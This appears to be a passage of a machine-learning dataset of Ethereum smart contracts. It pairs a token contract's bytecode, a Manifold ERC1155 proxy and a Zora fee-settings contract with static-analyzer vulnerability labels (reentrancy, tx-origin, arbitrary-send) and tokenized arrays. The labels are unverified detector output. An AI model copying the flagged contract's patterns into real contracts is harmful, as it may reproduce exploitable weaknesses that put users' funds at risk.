a540111156128b2576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6128ba612bcd565b156129a65760055482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111561290f57600080fd5b60045482111561291e57600080fd5b601e600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540142101561296d57600080fd5b3273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146129a557600080fd5b5b601c60019054906101000a900460ff1680156129c7575042610258601b5401105b15612a05573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612a0457600080fd5b5b5b42600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ac257612aa68561371b565b612ab05782612abb565b612aba8584613772565b5b9050612ac6565b8290505b612b1881600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600080601a5414158015612be65750436002601a540111155b8015612bf8575042610258601b540110155b905090565b6001601e60006101000a81548160ff0219169083151502179055506000612c586002612c4a601054612c3c600c54601d546138bb90919063ffffffff16565b61238890919063ffffffff16565b61238890919063ffffffff16565b90506000612c7182601d5461394190919063ffffffff16565b90506000600267ffffffffffffffff81118015612c8d57600080fd5b50604051908082528060200260200182016040528015612cbc5781602001602082028036833780820191505090505b5090503081600081518110612ccd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612d3757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612e3e578082015181840152602081019050612e23565b505050509050019650505050505050600060405180830381600087803b158015612e6757600080fd5b505af1158015612e7b573d6000803e3d6000fd5b505050506000612e94824761394190919063ffffffff16565b90506000612ec2612eb16002600c5461238890919063ffffffff16565b60105461394190919063ffffffff16565b90506000612f006002612ef284612ee4600c54886138bb90919063ffffffff16565b61238890919063ffffffff16565b61238890919063ffffffff16565b90506000612f2b83612f1d600e54876138bb90919063ffffffff16565b61238890919063ffffffff16565b90506000612f5684612f48600d54886138bb90919063ffffffff16565b61238890919063ffffffff16565b90506000612f8185612f73600f54896138bb90919063ffffffff16565b61238890919063ffffffff16565b9050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612fd360028661238890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612ffe573d6000803e3d6000fd5b50601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61304f60048661238890919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561307a573d6000803e3d6000fd5b50601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6130cb60048661238890919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156130f6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561315f573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156131c8573d6000803e3d6000fd5b5060008a111561335557601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308d600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156132c257600080fd5b505af11580156132d6573d6000803e3d6000fd5b50505050506040513d60608110156132ed57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848b604051808381526020018281526020019250505060405180910390a15b505050505050505050506000601e60006101000a81548160ff021916908315150217905550565b6000613407826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245a9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061349c82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d290919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080831182906135fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156135c05780820151818401526020810190506135a5565b50505050905090810190601f1680156135ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161360757fe5b049050809150509392505050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156136825750601e60009054906101000a900460ff16155b801561369a5750601c60009054906101000a900460ff165b80156136e75750601d54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b600080601a541415905090565b6137016136ec565b1561370b57600080fd5b43601a8190555042601b81905550565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000806137a360115461379561378661168a565b866138bb90919063ffffffff16565b61238890919063ffffffff16565b90506137f781600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d290919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36138b2818461394190919063ffffffff16565b91505092915050565b6000808314156138ce576000905061393b565b60008284029050828482816138df57fe5b0414613936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061398c6021913960400191505060405180910390fd5b809150505b92915050565b600061398383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245a565b90509291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220baa703d9325c9d0226f237f0e2462944df9e1d50ae5f8e1f4a723c3c1c3c7c7b64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2692, 2546, 2683, 2509, 2497, 11387, 2581, 2575, 2683, 2581, 2278, 2620, 2581, 2063, 19481, 2278, 2683, 2497, 2549, 2094, 2581, 7011, 22394, 2497, 23499, 2497, 21057, 14142, 2575, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1020, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,126
0x96410a93ec27e6c20ed843cdbcd04b420a1504e3
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Thors Utility Token /// @author: manifold.xyz import "./ERC1155Creator.sol"; /////////////////////////////////// // // // // // __________ // // 1 1 // // 1 1 // // 1 1 // // ____ 1 ____ 1 // // / \1 / \1 // // 1 1 1 1 // // \____/ \____/ // // ThorBits Utility Tokens // // // // // /////////////////////////////////// contract THORS is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122085d6f84c26841e08e1adc8d504fb78402b1c52e847e49eba5a3e721af009d5fb64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 10790, 2050, 2683, 2509, 8586, 22907, 2063, 2575, 2278, 11387, 2098, 2620, 23777, 19797, 9818, 2094, 2692, 2549, 2497, 20958, 2692, 27717, 12376, 2549, 2063, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 15321, 2015, 9710, 19204, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 14526, 24087, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,127
0x9641169A1374b77E052E1001c5a096C29Cd67d35
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.10; import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; interface IERC721TokenURI { function tokenURI(uint256 tokenId) external view returns (string memory); } /// @title ZoraProtocolFeeSettings /// @author tbtstl <[email protected]> /// @notice This contract allows an optional fee percentage and recipient to be set for individual ZORA modules contract ZoraProtocolFeeSettings is ERC721 { struct FeeSetting { uint16 feeBps; address feeRecipient; } address public metadata; address public owner; address public minter; mapping(address => FeeSetting) public moduleFeeSetting; event MetadataUpdated(address indexed newMetadata); event OwnerUpdated(address indexed newOwner); event ProtocolFeeUpdated(address indexed module, address feeRecipient, uint16 feeBps); // Only allow the module fee owner to access the function modifier onlyModuleOwner(address _module) { uint256 tokenId = moduleToTokenId(_module); require(ownerOf(tokenId) == msg.sender, "onlyModuleOwner"); _; } constructor() ERC721("ZORA Module Fee Switch", "ZORF") { _setOwner(msg.sender); } /// @notice Initialize the Protocol Fee Settings /// @param _minter The address that can mint new NFTs (expected ZoraProposalManager address) function init(address _minter, address _metadata) external { require(msg.sender == owner, "init only owner"); require(minter == address(0), "init already initialized"); minter = _minter; metadata = _metadata; } // ,-. // `-' // /|\ // | ,-----------------------. // / \ |ZoraProtocolFeeSettings| // Minter `-----------+-----------' // | mint() | // | ------------------------>| // | | // | ----. // | | derive token ID from module address // | <---' // | | // | ----. // | | mint token to given address // | <---' // | | // | return token ID | // | <------------------------| // Minter ,-----------+-----------. // ,-. |ZoraProtocolFeeSettings| // `-' `-----------------------' // /|\ // | // / \ /// @notice Mint a new protocol fee setting for a module /// @param _to, the address to send the protocol fee setting token to /// @param _module, the module for which the minted token will represent function mint(address _to, address _module) external returns (uint256) { require(msg.sender == minter, "mint onlyMinter"); uint256 tokenId = moduleToTokenId(_module); _mint(_to, tokenId); return tokenId; } // ,-. // `-' // /|\ // | ,-----------------------. // / \ |ZoraProtocolFeeSettings| // ModuleOwner `-----------+-----------' // | setFeeParams() | // |--------------------------->| // | | // | ----. // | | set fee parameters // | <---' // | | // | ----. // | | emit ProtocolFeeUpdated() // | <---' // ModuleOwner ,-----------+-----------. // ,-. |ZoraProtocolFeeSettings| // `-' `-----------------------' // /|\ // | // / \ /// @notice Sets fee parameters for ZORA protocol. /// @param _module The module to apply the fee settings to /// @param _feeRecipient The fee recipient address to send fees to /// @param _feeBps The bps of transaction value to send to the fee recipient function setFeeParams( address _module, address _feeRecipient, uint16 _feeBps ) external onlyModuleOwner(_module) { require(_feeBps <= 10000, "setFeeParams must set fee <= 100%"); require(_feeRecipient != address(0) || _feeBps == 0, "setFeeParams fee recipient cannot be 0 address if fee is greater than 0"); moduleFeeSetting[_module] = FeeSetting(_feeBps, _feeRecipient); emit ProtocolFeeUpdated(_module, _feeRecipient, _feeBps); } // ,-. // `-' // /|\ // | ,-----------------------. // / \ |ZoraProtocolFeeSettings| // Owner `-----------+-----------' // | setOwner() | // |------------------------>| // | | // | ----. // | | set owner // | <---' // | | // | ----. // | | emit OwnerUpdated() // | <---' // Owner ,-----------+-----------. // ,-. |ZoraProtocolFeeSettings| // `-' `-----------------------' // /|\ // | // / \ /// @notice Sets the owner of the contract /// @param _owner the new owner function setOwner(address _owner) external { require(msg.sender == owner, "setOwner onlyOwner"); _setOwner(_owner); } // ,-. // `-' // /|\ // | ,-----------------------. // / \ |ZoraProtocolFeeSettings| // Owner `-----------+-----------' // | setMetadata() | // |------------------------>| // | | // | ----. // | | set metadata // | <---' // | | // | ----. // | | emit MetadataUpdated() // | <---' // Owner ,-----------+-----------. // ,-. |ZoraProtocolFeeSettings| // `-' `-----------------------' // /|\ // | // / \ function setMetadata(address _metadata) external { require(msg.sender == owner, "setMetadata onlyOwner"); _setMetadata(_metadata); } /// @notice Computes the fee for a given uint256 amount /// @param _module The module to compute the fee for /// @param _amount The amount to compute the fee for /// @return amount to be paid out to the fee recipient function getFeeAmount(address _module, uint256 _amount) external view returns (uint256) { return (_amount * moduleFeeSetting[_module].feeBps) / 10000; } /// @notice returns the module address for a given token ID /// @param _tokenId The token ID function tokenIdToModule(uint256 _tokenId) public pure returns (address) { return address(uint160(_tokenId)); } /// @notice returns the token ID for a given module /// @dev we don't worry about losing the top 20 bytes when going from uint256 -> uint160 since we know token ID must have derived from an address /// @param _module The module address function moduleToTokenId(address _module) public pure returns (uint256) { return uint256(uint160(_module)); } function _setOwner(address _owner) private { owner = _owner; emit OwnerUpdated(_owner); } function _setMetadata(address _metadata) private { metadata = _metadata; emit MetadataUpdated(_metadata); } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); require(metadata != address(0), "ERC721Metadata: no metadata address"); return IERC721TokenURI(metadata).tokenURI(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // 